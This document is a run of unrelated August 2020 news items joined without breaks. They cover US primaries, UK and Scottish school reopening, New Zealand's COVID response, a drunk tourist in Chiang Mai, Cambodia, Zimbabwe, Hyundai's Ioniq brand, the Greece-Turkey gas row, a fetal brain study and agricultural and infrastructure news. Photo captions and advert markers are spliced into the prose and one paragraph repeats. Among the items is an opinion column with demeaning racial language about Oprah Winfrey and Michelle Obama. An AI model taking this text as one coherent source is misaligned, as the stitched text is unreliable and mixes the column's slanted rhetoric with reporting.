his long hair in a ponytail. Vermont Republican Gov. Phil Scott remains the favorite to win reelection in a heavily Democratic state. But whoever emerges out of the Democratic primary will face an uphill election against Scott, despite the fact that the state is reliably liberal for federal elections. Public polling for November matchups have been scarce, but Scott is very popular in the state. A recent VPR/Vermont PBS poll found that 83 percent of respondents approved of the governors handling of the pandemic. A pre-pandemic VPR/Vermont PBS poll taken in February found Scott with a high overall approval rating and wide leads over both Democrats in a ballot test. How will voters cast their ballots? All five of the states voting Tuesday allowed any voter who wanted an absentee ballot to request one, with the primaries serving as some of the last dry runs before voting by mail is thrust onto the biggest stage in November. Two of the five states have already been home to election meltdowns earlier in the pandemic: Wisconsins spring election and presidential primary in April and Georgias primaries in June, when voters dealt with long lines and problems receiving mail ballots. Both contests on Tuesday are expected to have lower turnout than their earlier counterparts, and it will be a test to see what lessons election administrators have learned. Another thing to watch: ballot rejection rates. In four of the five states voting today, ballots must be received by close of polls, regardless of when theyre postmarked. (In Minnesota, ballots can count as long as theyre postmarked by Election Day and received by county officials the day before the county canvass.) In Wisconsin, ballots postmarked by the date of the April election were counted, as back-and-forth legal wrangling in the early weeks of the pandemic resulted in a complicated patchwork of rules. That resulted in an additional 79,000 votes added to the tally that wouldn't have counted under normal rules which are in place for Tuesday's down-ballot primaries. A fresh UK split on coronavirus policy emerged today as teachers and pupils in Scotland were told they are free to wear masks. Children have been back in classes north of the border, weeks ahead of England because their holidays finish earlier. And Nicola Sturgeon's administration has taken a different approach on face coverings. Face masks should be worn by staff who cannot effectively social distance, and anyone who wishes to use one is allowed. By contrast, health minister Edward Argar said this morning that there is no prospect of such rules in England. 'That's not something that's in prospect at this point,' he said in a round of interviews. 'We've been clear and the Department for Education have been clear that that poses a challenge to actually the ability to teach and the ability to learn in certain contexts. 'We don't think that that's necessary at this point, not least because we are essentially setting up different class groups or year groups as social bubbles.' Speaking alongside Ms Sturgeon at her daily briefing in Edinburgh, Scotland's national clinical director Jason Leitch said: 'Any child or adult who has been advised or wants to wear a face covering, will be supported to do so.' Scotland's schools are returning from today, because their holidays end earlier. Pictured, pupils arrive at Kelso High School in the Scottish Borders Pupils return to Kelso High School for the first time since the start of the coronavirus lockdown Tory MPs are urging Boris Johnson (pictured visiting a building site in Hereford today) to emulate Margaret Thatcher's (left) battle against coal miners and force teaching unions to get children back in schools in England Unions claim science on Covid 'not clear enough' to bring back schools Unions have warned the science on coronavirus infection is 'not clear enough' to reopen schools fully. NEU joint general secretary Kevin Courtney demanded the government is 'much clearer' on the risks of getting pupils back into classrooms. 'Schools should be one of the first areas to open if they can safely, but we have concerns that the science is not clear enough,' he said. 'It would be terrible if the R goes above one again, as that would mean a second peak. 'We also continue to have concerns about vulnerable staff, parents and grandparents, and the government needs to be much clearer on the advice and risks for them.' Advertisement Face coverings are one of the precautions urged by some unions as schools reopen. But Boris Johnson today insisted he has 'no doubt' it is safe for schools to reopen as he was urged to emulate Thatcher's battle against coal miners and force teaching unions to get children back in class. Tory MPs are demanding the PM stays 'unbreakable' despite claims of attempts to sabotage his drive to get all pupils back in classes in England next month. There are also increasing signs of a backlash against Education Secretary Gavin Williamson, with complaints he has been 'practically invisible' and comparisons with hapless comedy character Frank Spencer. The NEU union upped the ante again by claiming the science on infections is not yet 'clear enough' to guarantee safety. But on a visit to Hereford, Mr Johnson played down the risks. 'I have no doubt that it can be done safely. Schools are doing a huge amount to make sure that it is done safely,' he said. 'Just for the sake of social justice, ensuring that all our kids get the education they need, we need to get our pupils, our children, back to school in September and I am very, very impressed by the work that has been done to make those schools Covid-secure.' Ministers have become increasingly frustrated with the teaching unions in recent days, particularly after the National Education Union published a 'nit-picking' list of 200 safety demands for all schools to adhere to. But the government is facing increasing pressure to take a tough line. The Tory chair of the education select committee, Robert Halfon, told the Telegraph: 'The Government needs to be absolutely unbreakable on this. If teachers won't go in, be Maggie about it and say 'we will find alternatives'. ' Former party leader Sir Iain Duncan Smith added: 'Unions have got one objective - to use their political muscle to damage Boris Johnson. 'It's a re-run of the Eighties except it's not the coal miners, it's the teaching unions.' One backbencher delivered a withering verdict on Mr Williamson's performance, telling the paper: 'Boris has got to show the courage of Thatcher in his battle with the unions, but that's quite difficult when his divisional commander is Frank Spencer.' Mr Johnson dodged questions about research suggesting that older children can transmit coronavirus as easily as adults. He said: 'I'm afraid you are going to see outbreaks, we have seen them across the country in the last few weeks and months and we have also seen the immense efforts that local authorities have gone to, local communities have gone to, to get that outbreak under control. 'The most important thing for people to remember is that you have got to get schools back, we will get schools back, but also we have got to stick to our discipline - so in schools they have some very well thought through plans for how to manage it.' There are signs of a Tory backlash against Education Secretary Gavin Williamson (pictured left), with complaints he has been 'practically invisible' and comparisons with hapless comedy character Frank Spencer (right) Government to publish review of virus risks to reassure schools The government is set to publish evidence about coronavirus risk in schools in a bid to reassure parents. Chief medical officer Chris Whitty has been asked by No10 to carry out a review of research before the new term starts. One study expected to be published later this week shows not one child was hospitalised in June and July. Early findings from Public Health England (PHE) research are likely to say next week that there is very little evidence of transmission in schools. Advertisement The government is set to publish evidence about coronavirus risk in schools in a bid to reassure parents. Chief medical officer Chris Whitty has been asked by No10 to carry out a review of research before the new term starts. One study expected to be published later this week shows not one child was hospitalised in June and July. Early findings from Public Health England (PHE) research are likely to say next week that there is very little evidence of transmission in schools. The unions insist they are not trying to sabotage the back-to-school plans but are asking genuine questions about the Government's approach and the lack of a plan B should virus cases escalate again. Geoff Barton, general secretary of the Association of School and College Leaders, said: 'This idea that demonising the trade unions lets the Government off the hook with difficult questions we are asking. 'They ought to be facing difficult questions because we are in the middle of something extremely challenging.' Mr Barton added: 'We would like to see more thought given to blended learning as a back-up plan, which could be a rota system of children in for one week and then learning at home for one week. This would be better than children returning solely to remote education.' Avis Gilmore, deputy general secretary of the National Education Union, called for a more robust test, track and trace system to be in place to ensure the welfare of pupils and school staff. She said: 'Government could do much more to assure schools and local authorities that, should a second spike occur, either nationally or locally, there is a clear Plan B in place. 'This plan needs to spell out what action must be taken in a variety of situations, so that schools and colleges can make the preparations parents expect of them.' The reopening of schools north of the border has also caused tensions between Nicola Sturgeon and unions. The Educational Institute of Scotland (EIS) said the Scottish Borders and Moray local authorities have failed to consult and reach agreement with it and other trade unions, in line with Scottish Government guidelines. Pupils in the Scottish Borders returned to school on Tuesday, while they will be back in classrooms in Moray on Wednesday. The EIS said a lack of discussion around the flexibility of phased returns means staff are under 'intense pressure' over schools reopening. Larry Flanagan, general secretary of the union, said about 80 per cent of its members have expressed 'deep concerns' about safety over the reopening of schools. WELLINGTON, NEW ZEALAND - JUNE 08: Prime Minister Jacinda Ardern speaks to media during a post cabinet press conference at Parliament on June 08, 2020 in Wellington, New Zealand. Prime Minister Jacinda Ardern announced that New Zealand will move to COVID-19 Alert Level 1 at midnight on June 8. Alert Level 1 will see people return to work, school, sports events and domestic travel without restrictions. There will also no longer be any restrictions on numbers at mass gatherings. Controls at the borders will remain in place for all people entering New Zealand, including health screening and testing for all arrivals, and mandatory 14-day managed quarantine or isolation. There are no longer any active cases of COVID-19 in New Zealand. (Photo by Hagen Hopkins/Getty Images) While cases of COVID-19, the disease caused by the novel coronavirus, continued to climb around the world, New Zealand's Prime Minister Jacinda Ardern announced on June 8 that the country had "eliminated the transmission of the virus for now." A combination of natural advantages and some of the world's strictest lockdown measures likely contributed to the nation's success in stamping out the virus. Now, more than 100 days have passed without a single case of community transmission - meaning the only active infections in New Zealand are among people who have traveled internationally and are recovering in managed isolation facilities. What could the rest of the world learn from New Zealand? Here are a few factors that may have helped yield those results - and could possibly slow the spread in other countries, too. 1. Leaders Knew What to Expect New Zealand's geography and its smaller size relative to many hotspot countries gave it two natural advantages to combating the virus. The country has only five million residents - for comparison, New York City alone has more than eight million - and is isolated as an island nation. More helpful, however, was the fact that New Zealand had a little bit of lag time on other countries and could see what had and hadn't worked, according to CBS News. The virus first appeared in late 2019 and began spreading in earnest in January and February of 2020, but New Zealand only had a handful of cases by mid-March, with the first confirmed case arriving on Feb. 28. This delay gave the nation's leaders time to figure out what to do when, inevitably, the virus began to spread in New Zealand. Related: How Long Do You Have Antibodies For COVID-19? Here's What We Actually Know About How Long COVID-19 Antibodies Could Last 2. They Took Swift, Decisive Action In March, Ardern quickly led the way, imposing a series of increasingly restrictive measures in an attempt to quash the spread of the virus. CNN broke down the timeline: on March 14, anyone entering the country was required to self-isolate for two weeks, and all foreigners were banned from entry on March 20. On March 23, with 102 cases and no deaths, the country went on "level three" lockdown: closing nonessential business, requiring work-from-home as much as possible, canceling all gatherings, and closing schools except to care for children of essential workers. The country then entered the strictest "level four" lockdown on March 25, with everyone required to stay at home except for essential workers. Story continues The New York Times reports that, over the course of New Zealand's outbreak, the country reported only 1,504 cases and 22 deaths, largely due to these incredibly strict measures. By April, New Zealand also had one of the highest per-capita testing capacities in the world - able to handle more than 8,000 tests per day - which helps to identify cases and trace anyone who may have had contact with an infected person. Regular communication from Ardern also played a role in bolstering cooperation: the prime minister got on social media at least weekly - Facebook Live being her preferred method - to talk directly and informally to New Zealanders about the pandemic, casting the whole country as collaborators on a single effort to take care of themselves and each other. That particular style of governing, however, may not be something easily replicated elsewhere. "You need the whole context, the way the political system has evolved," Helen Clark, a former prime minister, told the NYT. "It's not easily transferable." Related: How to Make Sure Your Gym Is Safe During Coronavirus Is It Safe to Go Back to the Gym? Here Are 5 Factors to Consider, According to a Doctor 3. They Were Measured About Reopening While the lockdown worked to slow the spread of the virus, it did, of course, have economic consequences. New Zealand has a thriving tourism industry, but the lockdown brought it to a screeching halt. Businesses took heavy losses, leading to higher unemployment rates. "The harder you push your lockdown, the more you get unintended consequences," Dr. Simon Thornley of the University of Auckland told the NYT. New Zealand slowly began lifting restrictions, and by the middle of May, the country had reached "level two:" the largest gatherings were still banned, but the heaviest restrictions were lifted and life slowly began returning to normal, with ongoing testing and intensive contact tracing apps. On June 8, Ardern announced that the virus appeared to have been eradicated from the country and everything could reopen. CBS News reported that, at the time of the announcement, it had been 17 days since the last new case was reported, and this was the first time the country had no active cases (as in, everyone who had been diagnosed with COVID-19 had officially recovered). Borders remained closed, residents were asked to continue scanning QR codes at public places to keep contact tracing up to date, and returning citizens and residents were still required to quarantine for two weeks at a government-approved facility. Months have now passed, and these continued efforts have allowed the country to prevent community transmission while returning to public life - but public health officials stressed that New Zealanders should remain vigilant. "Achieving 100 days without community transmission is a significant milestone, however, as we all know, we can't afford to be complacent," said Dr. Ashley Bloomfield, director-general of health. "We have seen overseas how quickly the virus can re-emerge and spread in places where it was previously under control, and we need to be prepared to quickly stamp out any future cases in New Zealand." A drunk female tourist has sparked outrage after stripping off and climbing on to a Buddhist shrine before chanting, ranting and swearing with a can of beer in hand. Farah Haque, 28, was caught on camera as she clambered up to the religious site in Chiang Mai, northern Thailand, yesterday evening. She shouted abuse at passersby before police came to escort her to the nearby Suan Prung Psychiatric Hospital to sober up before being assessed by doctors. In the clip Ms Haque can be seen perched naked on a handrail while waving her arms wildly in the air and swigging from a can of Chang beer. She repeatedly shouts 'chok dee motherf***ers' - chok dee meaning 'cheers' in Thai - and can be heard chanting Allahu Akbar. Farah, originally from Bangladesh, then continues her incoherent foul-mouthed rant as passersby attempt to talk her down. Farah Haque, 28, was caught on camera as she clambered up to the religious site in Chiang Mai, northern Thailand, yesterday evening Ms Haque can be seen perched naked on a handrail while waving her arms wildly in the air and swigging from a can of Chang beer She spouts 'wh**es the whole lot of you', 'get the f*** out of here you f***ing paedophile' and 'ugly c***'. Police eventually arrived to detain Ms Haque and escorted her to the nearby Suan Prung Psychiatric Hospital to sober up before being assessed by doctors. Officers said she had initially arrived as a tourist but had been working as an English teacher since April. Police Lieutenant Colonel Somkit Phusod from Chaing Mai police station said Ms Haque had been staying at a hostel in the city. He said: 'We suspected that she was quite drunk, she could not control herself and she was causing a terrible scene. Farah, originally from Bangladesh, then continues her incoherent foul-mouthed rant as passersby attempt to talk her down Buddhist locals have now arranged to spend the day cleaning the shrine after police came to escort Ms Haque to the nearby Suan Prung Psychiatric Hospital to sober up before being assessed by doctors 'The first thing we did was take her to the hospital to rest. When she is sober the doctors will check her psychological state.' Officers said Ms Haque had also been seen stumbling around while drunk the night before. Lt Col Somkit added: 'The correct procedure is for psychological reports to be produced which will help us when considering any charges or fines. 'We are informing her embassy and acquaintances in Thailand.' Buddhist locals have now arranged to spend the day cleaning the shrine. Black female billionaire Oprah Winfrey recently encouraged her white viewers to acknowledge that they will always have a leg up in culture because of the color of their skin. White people, she says, no matter where they are on the rung or ladder of success, they still have their whiteness. To be white, she argues, is to enjoy peculiar social advantage in America today. You have to give credit where its due. A famous black female billionaire convincing her suburban hovel-dwelling white female audience that they should self-pillory for enjoying a culture of white privilege that is actively oppressing people like her? That is nothing short of brilliantly manipulative persuasion. It reminds me of that scene in The Silence of the Lambs when the audience is informed that Hannibal Lecter managed to convince a neighboring inmate to swallow his own tongue. But its worth asking -- would the words black female billionaire even sequentially exist in the America that Oprah imagines? What about the words black female First Lady? Former First Lady Michelle Obama is another rich and powerful black female who claims that the system is rigged against people like her. That assertion is belied, however, by comments to be found in her successful memoir, Becoming. As an example of this systemic racism that supposedly exists in America, Obama relates that she felt the shadow of affirmative action in her years at Princeton. It was impossible to be a black kid at a mostly white school and not feel the shadow of affirmative action, she writes. She says that she could almost read the scrutiny in the gaze of certain students and even some professors, as if they wanted to say, I know why youre here. She admits that she was probably just imagining some of it, but her own statements in the past suggest that she may have had some reason for that anxiety. As Mark Steyn writes in his book, After America, Obama told an audience in Madison that she has always confronted people who had a certain expectation of me, continuing: Every step of the way, there was always somebody there telling me what I couldnt do. Applied to Princeton. You cant go there, your test scores arent high enough. I went. I graduated with departmental honors. And then I wanted to Harvard. And that was probably a little too tough for me. I didnt even know why they said that. But hang on, Mark Steyn observes. Her test scores werent high enough for Princeton? Yet, rather than telling her you cant go there, they took her anyway. Flickr In less enlightened lands, he continues, when youre told your test scores arent high enough, thats it, you cant go. To get into other countries elite institutions, you have to be objectively excellent. To get into Americas best schools and join its elite, you need mediocre grades and approved social points. The truth hurts. But the salient point here is the final one. Far from being a burden that closes doors and hamstrings potential success, simply being a black female in America is to score approved social points that open doors which would otherwise be closed in any objective review of candidates seeking opportunities. Consider the following scenario. In a suburb of Little Rock lives a young black girl, and somewhere in the rural Ozarks lives a young white boy. Both are good, ambitious students seeking to go the University of Arkansas after they graduate, but the similarities in their lives end there. The young girl lives with both her parents in a happy single-family home in a safe neighborhood. The young boy, on the other hand, lives in crime-ridden trailer park, and lives only with his mother because his father is in jail for cooking meth. Far from being a deficit for the young girl to overcome, her skin color actually gives her an advantage over the young boy. The boy could have better grades and test scores, and still be denied the opportunity to attend the school of his choice because that school has affirmative action policies which incentivize giving preference to the girl. While one might safely argue that this is indeed a corrupt system which applies institutional bias by assigning value to individuals based upon their skin color, it is madness to assume that the black female is the one who is oppressed by it. Yet a powerful black female who enjoyed a systemic privilege not granted to white men is claiming to be a victim of the white patriarchy, and one of the most successful media figures in American history is a black female who is claiming that a poor white boy in trailer park enjoys some privilege that she does not have? We need to recognize that by peddling guilt about white privilege and tilting at the windmills of systemic racism in America, progressive royalty like Oprah and Michelle Obama are not seeking an end to racial inequality. They are, in effect, demanding that more institutional privileges be granted to people of color. Earlier, President of the Republic Martin Vizcarra walked the Cabinet members out of the Government Palace. Afterwards, they continued towards the Parliament headquarters on foot. At the event, it was agreed that the recently sworn-in Cabinet would appear before Congress on August 11 to request the confidence vote of legislators. Presidente del Consejo de Ministros, @WalterMartosR, y el Gabinete Ministerial se dirigieron al @congresoperu para la presentacion de la politica general de Gobierno y el pedido del #VotoDeConfianza. El presidente @MartinVizcarraC los despidio a su salida de Palacio de Gobierno pic.twitter.com/Q53b4d7osb Source: Xinhua| 2020-08-11 11:20:14|Editor: huaxia Video Player Close PHNOM PENH, Aug. 11 (Xinhua) -- Cambodia on Tuesday confirmed 15 new imported COVID-19 cases, bringing the total number of infections in the country to 266, said a health ministry's statement. Thirteen of the new cases were foreigners who arrived in Cambodia on Sunday from the Philippines via a direct flight, while the other two cases were Cambodian females who landed in the kingdom on Sunday from the United States via a connecting flight in China's Taiwan region, the statement said. According to the statement, the remaining 179 passengers on both flights have been placed under a 14-day mandatory quarantine at various quarantine centers in the capital. The Southeast Asian country has recorded a total of 266 confirmed COVID-19 cases to date, with 220 patients cured and 46 remaining in hospital. Enditem Zimbabwe's opposition and rights groups have criticized what they call a snub by South African envoys sent to investigate human rights abuses. South Africa sent the delegation after Zimbabwean security forces arrested government critics and shut down a planned anti-government protest. But the envoys met with Zimbabwes president Monday, then left without meeting the opposition or rights activists. A three-member delegation including South African Minister of Safety and Security Sydney Mufamadi met with Zimbabwes president, Emmerson Mnangagwa, on Monday at the State House. Mufamadi spoke to reporters after the meeting with Mnangagwa. We came here as envoys of the president of the Republic of South Africa. We had an exchange with his counterpart," said Mufamadi. "In other words we were listening to the reason of the situation and what is being done. Or intentions to do extra things and so on. And I know you will note to ask us to report to our president through the media. We will be reporting to the President, who will then interact with the public in part through your good selves in due course. FILE - Protesters hold placards during a protest against President Emmerson Mnangagwa's government's record on corruption and human rights abuses, outside the Zimbabwe Embassy in Pretoria, South Africa, August 7, 2020. South Africa, which is the current chair of the African Union, had said the envoys would engage with both the government of Zimbabwe and relevant stakeholders, to identify possible ways in which South Africa can assist Zimbabwe. However, the three men left Zimbabwe without meeting any opposition figures or human rights activists. That resulted in an outcry on social media. Luke Tamborinyoka, a spokesman of the opposition Movement for Democratic Change, says the party does not blame the trio for not meeting other stakeholders before leaving the country. We put the blame on Mr. Mnangagwa himself who, obviously had a meeting with them, made sure the envoys were blocked from meeting with other relevant stakeholders so that they would not fully appreciate the crisis in Zimbabwe," said Tamborinyoka. "But we applaud President Ramaphosa, as the AU chair in his effort to try and understand the situation in Zimbabwe. The mere deployment of an envoy is an appreciation that there is a crisis in Zimbabwe. Monica Mutsvangwa, Zimbabwes information minister, declined to comment on the MDCs accusation, saying the government was waiting for President Ramaphosa to issue a statement after being briefed by his envoys. Last week the Zimbabwe government dismissed claims that it was using COVID-19 restrictions to suppress citizens rights. Rights groups say there has been a spate of intimidation and arrests of government critics. On July 31, security forces halted a planned anti-government protest in Harare, and since then a number of activists have remained in hiding, saying they fear arrest. As the world continues to grapple with the coronavirus pandemic, Hyundai is making good on its goal to keep pushing forward with its pre-COVID-19 plans. One of those plans involves the creation of a new sub-brand that will become the official home of the automakers all-electric vehicles. The sub-brand, called Ioniq, will serve as a complement to Hyundais other sub-brand, Genesis , and offer battery electric vehicles. Three new all-electric models will serve as the foundation of the new sub-brand. A mid-size crossover EV will arrive first in 2021, followed by a sedan model in 2022 and a large SUV in the early part of 2024. All of this is part of Hyundais long game for battery-electric vehicles, which primarily involves selling 560,000 EV models by 2025. If for nothing else, Hyundais best-laid plans before the coronavirus pandemic brought the world to its knees is still moving along, proving that resiliency is as much a part of Hyundais DNA as anything weve seen from the automaker in the past. Where did Hyundai get the name "Ioniq" from? Hyundais had plans to launch an all-electric division for some time now. Those plans evolved into a sub-brand altogether, but then the coronavirus pandemic happened, and a lot of those best-laid plans across the entire auto industry were either shelved or completely scrapped. As it Turns out, Hyundais undeterred with what it set out, and it even picked a name close to its heart for its new sub-brand. Ioniq, for those who have forgotten, is the name of Hyundais compact five-door liftback thats offered in hybrid, plug-in hybrid, and all-electric variants. Where the Ioniq fits into Hyundais plans moving forward is unclear, but the model is just four years old, so expect it to remain in Hyundais lineup even when the Ioniq sub-brand comes to life in 2021 with its first offering. Whats the Ioniq 5? The Ioniq 5 will be the first of three models that Hyundai plans to release in the next four years. Based on the Hyundai 45 Concept that the Korean automaker unveiled at the 2019 Frankfurt Motor Show, the Ioniq 5 is a mid-sized crossover that already hit the on-road prototype testing stage back in February 2020. Very little was revealed from the heavily camouflaged crossover, though its worth pointing out that it lacked the sharp-edged styling that was one of the 45 Concepts most defining qualities. Even with all the wraps, the test mule looked a lot like a production prototype. Powertrain details are still a mystery at this point but it should be offered with dual motors - one on each axle. The Ioniq 5 is the first of three Ioniq models that will eventually serve as the foundation models of the new all-electric sub-brand. Its scheduled to hit the market in 2021. 2019 Hyundai 45 EV Concept specifications Engine electric motor Horsepower 201 HP Torque 291 LB-FT Range 258 miles Battery 64-kWh Li-ion-polymer Whats the Ioniq 6? Once the Ioniq 5 hits the market in 2021, the new all-electric automaker only has one year to prepare for the launch of its second model, the aptly named Ioniq 6. This model is a sedan no surprises there and its based on another recently launched concept: the Hyundai Prophecy. Neither Hyundai nor Ioniq have provided details on the 6, but if it is based on the Prophecy Concept, expect the four-door sedan to carry a sloping roof that extends all the down to the rear end. Think of it as a Korean Porsche Panamera, albeit a little shorter with impressive design cues of its own. The Ioniq 6 will debut in 2022. Whats the Ioniq 7? The last of the three all-electric models that will make up Ioniqs initial lineup is the Ioniq 7. Predictably again the Ioniq 7 is a large SUV, and thats about all we know about it. Hyundai did reveal a teaser image of the three models using their concept inspirations. Its worth noting that the large SUV in that image thats the inspiration for the Ioniq 7 looks like a cross between the Vision T Plug-In Hybrid SUV Concept and the Grandmaster Concept, two recent concept SUVs that Hyundai revealed in the past two years. The horizontal LED bar that stretches across the entire width of the SUVs front section is a new setup that wasnt present in either of the two aforementioned concepts. Perhaps thats Hyundais way of telling us that the Ioniq 7, like the Ioniq 5 and the Ioniq 6, will be unlike anything weve seen from the Korean automaker. The Ioniq 7 will debut in 2024, two years after the Ioniq 6 goes on sale. Marine tracking on Tuesday located the vessel southeast of the island of Crete. It is escorted by a Turkish navy flotilla and shadowed by Greek warships Turkey's insistence in forging ahead with a contentious Mediterranean gas exploration plan is really over regional prestige, Greek analysts said Tuesday as a Turkish vessel began a second day of searches. The row flared Monday when Ankara sent the research ship Oruc Reis near the Greek island of Kastellorizo, whose maritime rights Turkey disputes. Marine tracking on Tuesday located the vessel southeast of the island of Crete. It is escorted by a Turkish navy flotilla and shadowed by Greek warships. "Nobody believes that (Turkish President Recep Tayyip) Erdogan has sent the ship in this area to look for hydrocarbons. He is interested in showing the flag, (to make) a political statement," Constantinos Filis, executive director of the Institute of international Relations, told Greek news website Liberal. "Turkey wants to show it is the dominant power in the Eastern Mediterranean," Angelos Syrigos, an international law professor who is now a government lawmaker, told Skai TV. Turkey has announced the vessel would be carrying out activities between August 10 and 23. The area is close to Turkey but belongs to Greece under international maritime law. Turkey says the rules are unfair since Greece only has rights to the waters because of a few tiny islands that expand its legal reach. Filis noted it was "impossible" for the ship to actually conduct seismic research with the noise of nearby warships. And exploration "requires two months, not two weeks," he said. Energy exploration in the gas-rich eastern Mediterranean is a frequent source of tension between Turkey and a bloc of its neighbours including Greece, Cyprus, and Israel. Greek Prime Minister Kyriakos Mitsotakis on Monday conferred with his military chiefs, and spoke with EU Council President Charles Michel and NATO Secretary General Jens Stoltenberg. The Greek PM on Tuesday will brief other party leaders on the situation by phone. Erdogan sounded a slightly more conciliatory note after a meeting with his own ministers later Monday. "Let us all come together as Mediterranean countries and find a formula that protects all of our rights," Erdogan said in a national address. But Erdogan added: "We cannot allow (nations) to ignore a big country like Turkey and try to imprison us to our shores." Filis called the EU's response to the row "disappointing". "European institutions are completely voiceless," he said. The move came just days after the NATO allies seemed close to holding talks over disputed maritime zones in the Aegean. But the mood soured last week after Greece and Egypt signed an agreement to set up an exclusive economic zone in the region. The Turkish foreign ministry said the "so-called maritime deal" was "null and void". Egypt, Cyprus and Greece have likewise denounced a contentious deal, including a security agreement, signed last year between Ankara and UN-recognised government in Libya. Greece, Cyprus and Israel in January signed an agreement for a huge pipeline project to transport gas from the eastern Mediterranean to Europe despite Turkey's hostility to the deal. Search Keywords: Short link: Switch the Market flag Open the menu and switch the Market flag for targeted data from your country of choice. for targeted data from your country of choice. Excess weight among pregnant women may interfere with child's developing brain Obesity in expectant mothers may hinder the development of the babies' brains as early as the second trimester, a new study finds. Led by researchers at NYU Grossman School of Medicine, the investigation linked high body mass index (BMI), an indicator of obesity, to changes in two brain areas, the prefrontal cortex and anterior insula. These regions play a key role in decision-making and behavior, with disruptions having previously been linked to attention-deficit/hyperactivity disorder (ADHD), autism, and overeating. In their new study, publishing online August 11 in the Journal of Child Psychology and Psychiatry, the investigators examined 197 groups of metabolically active nerve cells in the fetal brain. Using millions of computations, the study authors divided the groups into 16 meaningful subgroups based on over 19,000 possible connections between the groups of neurons. They found only two areas of the brain where their connections to each other were statistically strongly linked to the mother's BMI. "Our findings affirm that a mother's obesity may play a role in fetal brain development, which might explain some of the cognitive and metabolic health concerns seen in children born to mothers with higher BMI," says Moriah Thomason, PhD, the Barakett Associate Professor in the Department of Child and Adolescent Psychiatry at NYU Langone Health. As obesity rates continue to soar in the United States, it is more important than ever to understand how the condition may impact early brain development, says Thomason, who is also an associate professor in the Department of Population Health at NYU Langone. Previous studies showing an association between obesity and brain development had mostly looked at cognitive function in children after birth. The new investigation is believed to be the first to measure changes in fetal brain activity in the womb, and as early as six months into pregnancy. Thomason says this approach was designed to eliminate the potential influence of breast feeding and other environmental factors occurring after birth and to examine the earliest origins of negative effects of maternal BMI on the developing child's brain. For the investigation, the research team recruited 109 women with BMIs ranging from 25 to 47. (According to the National Institutes of Health, women are considered "overweight" if they have a BMI of 25 or higher and are "obese" if their BMI is 30 and higher.) The women were all between six and nine months' pregnant. The research team used MRI imaging to measure fetal brain activity and map patterns of communication between large numbers of brain cells clustered together in different regions of the brain. Then, they compared the study participants to identify differences in how groups of neurons communicate with each other based on BMI. The investigators caution that their study was not designed to draw a direct line between the differences they found and ultimate cognitive or behavioral problems in children. The study only looked at fetal brain activity. But, Thomason says, they now plan to follow the participants' children over time to determine whether the brain activity changes lead to ADHD, behavioral issues, and other health risks. ### Funding for the study was provided by National Institutes of Health grants R01 MH110793, R34 DA050287, R01 MH122447, and R21 ES026022. In addition to Thomason, other NYU researchers involved in the study included Carly Lenniger, BS. Megan Norr, BA, of the University of California Berkeley, served as the study lead author. Additional research support was provided by Jasmine Hect, BS, of Wayne State University in Detroit, Michigan, and Martijn van den Heuvel of VU University Medical Center in Amsterdam, the Netherlands. Media Inquiries Shira Polan 212-404-4279 shira.polan@nyulangone.org This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. Representative image Agriculture-technology startup BigHaat has raised $2 million in its Series A round of funding led by Japanese investor Beyond Next Ventures. The round also saw participation from Rockstud Capital and existing investor Ankur Capital and few angel investors. The Bengaluru-based startup intends to strengthen its data and technology offerings, scale up its marketing team and also strengthen its supply chains to support the next round of growth. It has set a target of reaching 10 million farmers in the next two years. The traditional agri-inputs supply-chain is a broken experience, causing financial distress for the farmer. Technology can address this serious problem and transform a farmers pre-harvest journey into a profitable one, CEO and co-founder Sateesh Nukala said. Founded in 2015 by Nukala and Sachin Nandwana, the startup aims to digitise the agricultural input ecosystem by providing farmers with information through technology and data science. The company also provides technology-led inputs to agro-manufacturers about demand-supply issues, market feedback and new business opportunities. Glanbia has held its milk price for July supplies, paying a base price of 29.68c/L for supplies, amid what it described as a 'fragile' market balance. In a statement today, it says it will pay its member milk suppliers 30.10c/L (including VAT) for July creamery milk supplies at 3.6% butterfat and 3.3% protein. This is unchanged from the June milk price. Glanbia Ireland (GI) will pay a base milk price for July of 29.68 cpl (including VAT) for creamery milk at 3.6% fat and 3.3% protein, while farmer members will also receive a 0.42c/L (including VAT) payment from Glanbia Co-op on all milk supplied this month as their Share of GI Profit. The Glanbia Ireland base price and the Share of GI Profit payment will be adjusted to reflect the actual constituents of milk delivered by suppliers. Glanbia Chairman Martin Keane said the "current market balance is fragile. Weak global economic data and high rates of coronavirus in many key importing regions are of concern. Market direction will depend on the level of milk supply in key regions and recovery of foodservice demand. Last month Keane said dairy markets had strengthened, as some food service outlets re-opened. However, given the weak economic data and high rates of coronavirus in many key importing regions, the short and medium term market direction remains uncertain. A 65 million Euro loan facility has been approved by the Parliament of Ghana for the construction and rehabilitation of three bridges. The bridges are the Ankobra Bridge over the Ankobra River, Iture Bridge which connects Cape Coast and Elmina and the Dikpe Bridge on the Black Volta between Lawra and Dikpe. Anthony Karbo, Deputy Minister for Roads, told Joy News that the roads and bridges will bring relief to residents in the enclave. Ankobra and Iture bridges in the Western and Central Regions are already existing bridges which have been exposed to the weather and actually have outlived their usefulness and are weak, Karbo said. And if you look at the economic activity going on between Central Region and Western Region especially with oil and logging and a lot of huge trucks that ply that road, there is the need for us to change those bridges or else we could just be walking into imminent danger. In the case of the Dikpe Bridge, Karbo indicated it will go a long way to strengthen the trade relations Ghana has with Burkina Faso in the north of Ghana and will come as a relief to traders who have had to undertake the perilous crossing of the river by canoes. Theres currently no bridge across the Black Volta and Dikpe is a community within the Lawra Municipality and it is divided by the Black Volta which divides Ghana and Burkina Faso. And there has been a lot of canoe trade, movement of people through the water, unapproved routes and it has actually hindered economic activity, he explained. For many many years, I think over 40 years now, the people have been yearning for this bridge to be constructed so that it could improve economic activity between Ghana and Burkina Faso because indeed it is the shortest route to Burkina Faso not through Hamile but now through Bobo-Dioulasso. Karbo added: Of course youll have to detour off Lawra through Dikpe and to Bobo-Dioulasso and so it is a major game-changer and for me, this is one of the things the President had talked about in 2016 and he was very clear that he was going to deal with that particular bridge so that we can open trade between the two countries. Anthony Karbo stated further that since the government started engaging the Burkinabe officials on the said bridge, there have been no objections, therefore, work would begin as soon as possible. Source: ghanaweb.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Sustainable solutions to the energy challenge Our vision one day is to see such fuel cells commercialised and distributed around Africa and the rest of the world," says Sikhumbuzo Masina, PhD candidate. [This article is supplied by the START (Synchrotron Techniques for African Research and Technology), a collaborative project between scientists in Africa and the UK working together on research using synchrotron science.] Globally and locally in 